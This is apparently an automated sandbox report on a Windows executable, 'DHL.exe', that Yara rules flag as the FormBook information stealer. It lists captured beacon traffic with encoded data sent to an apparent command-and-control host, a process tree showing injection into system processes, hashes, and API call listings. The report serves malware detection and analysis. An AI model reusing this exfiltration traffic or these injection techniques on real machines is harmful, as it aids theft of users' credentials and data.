Dec 17, 2024 08:25:18.882842064 CET	1782	OUT	POST /9er8/ HTTP/1.1 Host: www.startsomething.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1240 Connection: close Origin: http://www.startsomething.xyz Referer: http://www.startsomething.xyz/9er8/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 2f 32 78 77 5a 6c 65 2b 67 4d 77 73 54 4f 66 4e 2b 65 77 71 73 4e 2b 79 72 50 73 62 4f 72 4a 53 6a 2f 6d 75 45 56 58 75 33 52 59 69 68 63 56 4c 43 5a 5a 4a 37 68 6c 46 6d 4b 59 36 35 2b 51 74 57 44 4d 58 73 6c 61 31 75 52 71 34 5a 46 45 58 56 31 45 70 4b 32 5a 73 38 67 38 65 61 31 34 2b 35 70 35 70 47 62 6f 52 2b 70 74 55 4a 41 77 79 65 4a 48 57 53 61 6d 5a 73 37 67 63 52 64 6a 41 59 31 34 7a 66 6d 73 31 54 71 76 76 38 2f 6e 74 62 71 2b 73 5a 73 68 4f 43 79 41 61 31 74 36 73 50 54 4d 69 73 71 42 75 59 39 32 47 78 68 32 6a 41 71 6f 65 58 63 70 2f 2f 50 75 79 71 64 32 42 42 67 39 76 4f 57 2f 65 6e 37 59 49 30 44 48 67 66 6c 68 36 4c 73 58 49 62 73 51 50 6c 64 74 78 67 75 35 4e 55 43 39 71 44 61 6c 47 75 6d 39 38 4e 44 63 41 6e 58 6b 75 47 4e 67 78 61 78 38 2b 6c 31 32 74 6d 51 53 45 62 63 36 7a 62 6b 57 4a 75 71 49 43 72 33 79 43 61 59 41 44 55 58 43 34 52 47 6c 46 73 4f 74 47 4d 41 77 2f 61 33 47 36 66 44 6b 4b 6d 58 4a 47 54 41 46 2f 49 75 31 47 38 37 55 52 2b 67 42 47 33 6e 67 42 4f 46 [TRUNCATED] Data Ascii: rPh=/2xwZle+gMwsTOfN+ewqsN+yrPsbOrJSj/muEVXu3RYihcVLCZZJ7hlFmKY65+QtWDMXsla1uRq4ZFEXV1EpK2Zs8g8ea14+5p5pGboR+ptUJAwyeJHWSamZs7gcRdjAY14zfms1Tqvv8/ntbq+sZshOCyAa1t6sPTMisqBuY92Gxh2jAqoeXcp//Puyqd2BBg9vOW/en7YI0DHgflh6LsXIbsQPldtxgu5NUC9qDalGum98NDcAnXkuGNgxax8+l12tmQSEbc6zbkWJuqICr3yCaYADUXC4RGlFsOtGMAw/a3G6fDkKmXJGTAF/Iu1G87UR+gBG3ngBOFSN3nmNujH91qdF4r0ewnkLBQPsZDUv5wT7pUfPMdDcVohTLD8ltbYYX47Cjb+7apJR9oDpBtNvNJrrIdCNyLskjJ/A6huKT6C7oLm0iou6j/szL22YcVzUt4ZIbtWOySLu35P4ymaHZcvhmND964k9qwt6BC2SuhyyCPNr6wR6/fOFRnNq+2ooFlghZULyBc9kjy5CCC95a23cBI8aTok7RJ7kFglovHPKJO7fP/W3OrtnWGagkNcKJ8I91mdEVKM5Y8jj/XTmqoSLyCes5z+6Zl8OyB0A/U9lkJEFsbERW0A4sjJ1+GrT3nFl1QBn91NFuw7erQUuW0HtxeaoREUzlY5qR4OhcQQFkbJ056wzfqBMpc1NkTKALzfUR3vwGw3jl1bC489uWrDR1IDa4zLN4/aUyybB2sGX72vP5RfybSWxQ2A+R/TgXsDXKysY0+8of0MooEJlQQnuMkm6qvLGHMgnxVSecgJ405V54kNVs7L2Wm0SU3qNRwtC935eFwm9V9GBg5GzEDadUVhpLEPwO6ekpEtqg/bHRZYoXLhBNcCfpVtuVOgk39kIB0ij55jGJs2q/34Zyon1T+/7N91alN9/2G1ybS7F1zSuamdkSMX2Z2K7nEBVtL/Do1d6NxNBmgcjFIC9JP+BdEouusg9yMj2FAhGnOwa [TRUNCATED]
Dec 17, 2024 08:25:20.111902952 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:25:19 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.8	49730	69.57.163.64	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:25:22.866293907 CET	471	OUT	GET /9er8/?rPh=y0ZQaQGYytoPYKDdgLZSit2uqdIxJa9e7dCpW1aT2gUHtttnVaZ37Rd6tJxE+MMiCUIjuSyOnxmaU3U+fVZaaX16+D89AnEZm+xwCYUrhMUvMxACYJDUe5GKortKSbmbEQ==&kVvpD=Bx4T HTTP/1.1 Host: www.startsomething.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Dec 17, 2024 08:25:24.122167110 CET	548	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:25:23 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Target ID:	0
Start time:	02:23:11
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\DHL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL.exe"
Imagebase:	0x9a0000
File size:	1'257'984 bytes
MD5 hash:	12E3C1457416B5622F040F8E0EDC0298
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:23:15
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL.exe"
Imagebase:	0xd60000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1707823352.0000000003300000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1707521744.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1708319650.0000000004B50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:23:32
Start date:	17/12/2024
Path:	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe"
Imagebase:	0x120000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2709918624.0000000003CB0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:23:33
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\wiaacmgr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\wiaacmgr.exe"
Imagebase:	0x3d0000
File size:	84'480 bytes
MD5 hash:	2F1D379CE47E920BDDD2C50214457E0F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2710446513.00000000045C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2710629488.0000000004610000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2700411137.0000000002850000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:23:47
Start date:	17/12/2024
Path:	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe"
Imagebase:	0x120000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2712813686.0000000005030000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:23:59
Start date:	17/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	1.8%
Signature Coverage:	3.3%
Total number of Nodes:	1896
Total number of Limit Nodes:	72

Executed Functions

Function 009A42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 009A430D

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

GetCurrentProcess.KERNEL32(?,00A3CB64,00000000,?,?), ref: 009A4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 009A4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 009A4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 009A4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 009A4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 009A447B
GetSystemInfo.KERNEL32(?,?,?), ref: 009A44A0

Strings

GetNativeSystemInfo, xrefs: 009A4460
kernel32.dll, xrefs: 009A444F
|O, xrefs: 009E36F8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: a70e039f3fe9a80e2a9f1021cf454ae20e10b65799d90f0176c50f57ce2a48ff
Instruction ID: 6fe14cd036985676519626d87c82e61a5173301e29031ed5bc51102e66416e90
Opcode Fuzzy Hash: a70e039f3fe9a80e2a9f1021cf454ae20e10b65799d90f0176c50f57ce2a48ff
Instruction Fuzzy Hash: AAA1C67290E2C0DFC792CBFDBC851957FE86B66700B04CC99E08D9FA62D2644987DB61

Function 009A42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,009A50AA,?,?,00000000,00000000), ref: 009A42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,009A50AA,?,?,00000000,00000000), ref: 009A42C9
LoadResource.KERNEL32(?,00000000,?,?,009A50AA,?,?,00000000,00000000,?,?,?,?,?,?,009A4F20), ref: 009E35BE
SizeofResource.KERNEL32(?,00000000,?,?,009A50AA,?,?,00000000,00000000,?,?,?,?,?,?,009A4F20), ref: 009E35D3
LockResource.KERNEL32(009A50AA,?,?,009A50AA,?,?,00000000,00000000,?,?,?,?,?,?,009A4F20,?), ref: 009E35E6

Strings

SCRIPT, xrefs: 009A42BF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 3b6999de2238bf9f316d1d0fb0c2732b0895076a52bfa9398e9a0d70000e1da1
Instruction ID: 1c04e8255e49b9dec3e75038aca394dd842dc23bcc4eefb91278787d054abb28
Opcode Fuzzy Hash: 3b6999de2238bf9f316d1d0fb0c2732b0895076a52bfa9398e9a0d70000e1da1
Instruction Fuzzy Hash: 3F118E71240700BFD7219BA5DC48F677BBDEBC6B61F108569F812E6250DBB1DC018760

Function 009E2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 009A2B6B

Part of subcall function 009A3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00A71418,?,009A2E7F,?,?,?,00000000), ref: 009A3A78

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00A62224), ref: 009E2C10
ShellExecuteW.SHELL32(00000000,?,?,00A62224), ref: 009E2C17

Strings

runas, xrefs: 009E2C0B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: f445db0fa643b4087818844a1b3bd233abb31aa5f7f987d599850c1fb6aa4ae3
Instruction ID: c43120affed63491d70d012672cf604a9560890743659968a175e42728b5f9fd
Opcode Fuzzy Hash: f445db0fa643b4087818844a1b3bd233abb31aa5f7f987d599850c1fb6aa4ae3
Instruction Fuzzy Hash: 0111B9715083416BC714FF78DC56BBEB7A8AFD3350F44982DF186520A2DF25894AC792

Function 00A0DBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,009E5222), ref: 00A0DBCE
GetFileAttributesW.KERNELBASE(?), ref: 00A0DBDD
FindFirstFileW.KERNELBASE(?,?), ref: 00A0DBEE
FindClose.KERNEL32(00000000), ref: 00A0DBFA

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 5eb8726e414bd4784d2740cbd846dd313a53dec48d7fffbd212e545c9cc5f532
Instruction ID: 03784fa6ff5681da0f26c758b06319141b388f681fad91c083fd498012141e3d
Opcode Fuzzy Hash: 5eb8726e414bd4784d2740cbd846dd313a53dec48d7fffbd212e545c9cc5f532
Instruction Fuzzy Hash: 51F0A03281092867D220ABF8AC0D8AB7B6C9E01334B104702F836D20E0EBB059568A95

Function 009AD730 Relevance: 21.6, APIs: 14, Instructions: 615windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 009AD807
timeGetTime.WINMM ref: 009ADA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009ADB28
TranslateMessage.USER32(?), ref: 009ADB7B
DispatchMessageW.USER32(?), ref: 009ADB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009ADB9F
Sleep.KERNEL32(0000000A), ref: 009ADBB1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 287a1801002e5bda5e41c1ffd34dc99e51fb210cbec08910ebe0ba931bf0f99c
Instruction ID: 3da8c48c6e9fc8fecccaad9f25ee5dd15df1355df6c69b15308b5cde3b645636
Opcode Fuzzy Hash: 287a1801002e5bda5e41c1ffd34dc99e51fb210cbec08910ebe0ba931bf0f99c
Instruction Fuzzy Hash: 2B42F130609345DFD728CF24C894BBAB7E8BF86314F148919F59A876A1D774E884CBD2

Function 009A2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 009A2D07
RegisterClassExW.USER32(00000030), ref: 009A2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009A2D42
InitCommonControlsEx.COMCTL32(?), ref: 009A2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009A2D6F
LoadIconW.USER32(000000A9), ref: 009A2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009A2D94

Strings

AutoIt v3 GUI, xrefs: 009A2D23
0, xrefs: 009A2CE9
TaskbarCreated, xrefs: 009A2D37
+, xrefs: 009A2CF0

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: d0c5ebe26dde216705ad24450ea0130022c6320c04a35af3cbea48a52e3ecbe9
Instruction ID: c90bcd59cc1de82327bb03f9d5506a048ebe26d36053a3513fd922aea0842016
Opcode Fuzzy Hash: d0c5ebe26dde216705ad24450ea0130022c6320c04a35af3cbea48a52e3ecbe9
Instruction Fuzzy Hash: C521D3B5911308AFDB00DFE8EC49B9DBBF4FB08714F00811AFA15B62A0D7B145828F90

Function 009E065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E039A: CreateFileW.KERNELBASE(00000000,00000000,?,009E0704,?,?,00000000,?,009E0704,00000000,0000000C), ref: 009E03B7

GetLastError.KERNEL32 ref: 009E076F
__dosmaperr.LIBCMT ref: 009E0776
GetFileType.KERNELBASE(00000000), ref: 009E0782
GetLastError.KERNEL32 ref: 009E078C
__dosmaperr.LIBCMT ref: 009E0795
CloseHandle.KERNEL32(00000000), ref: 009E07B5
CloseHandle.KERNEL32(?), ref: 009E08FF
GetLastError.KERNEL32 ref: 009E0931
__dosmaperr.LIBCMT ref: 009E0938

Strings

H, xrefs: 009E08BD

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 7100a21517fd77b20794a314810c12340ffb762f3d0315b6d958962eb8e04491
Instruction ID: 661907fde22a152ad8df290c1dfb32ee552f0eb87339d7a6bbc79045c1f49958
Opcode Fuzzy Hash: 7100a21517fd77b20794a314810c12340ffb762f3d0315b6d958962eb8e04491
Instruction Fuzzy Hash: 67A13632A001848FDF1AEFA8DC51BAE7BA4AB86320F14415DF815AF292C7719C53CB91

Function 009A344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00A71418,?,009A2E7F,?,?,?,00000000), ref: 009A3A78

Part of subcall function 009A3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 009A3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 009A356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 009E318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 009E31CE
RegCloseKey.ADVAPI32(?), ref: 009E3210
_wcslen.LIBCMT ref: 009E3277
_wcslen.LIBCMT ref: 009E3286

Strings

Include, xrefs: 009E3184, 009E31C5
\Include\, xrefs: 009A3527
Software\AutoIt v3\AutoIt, xrefs: 009A3560
\, xrefs: 009E328C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

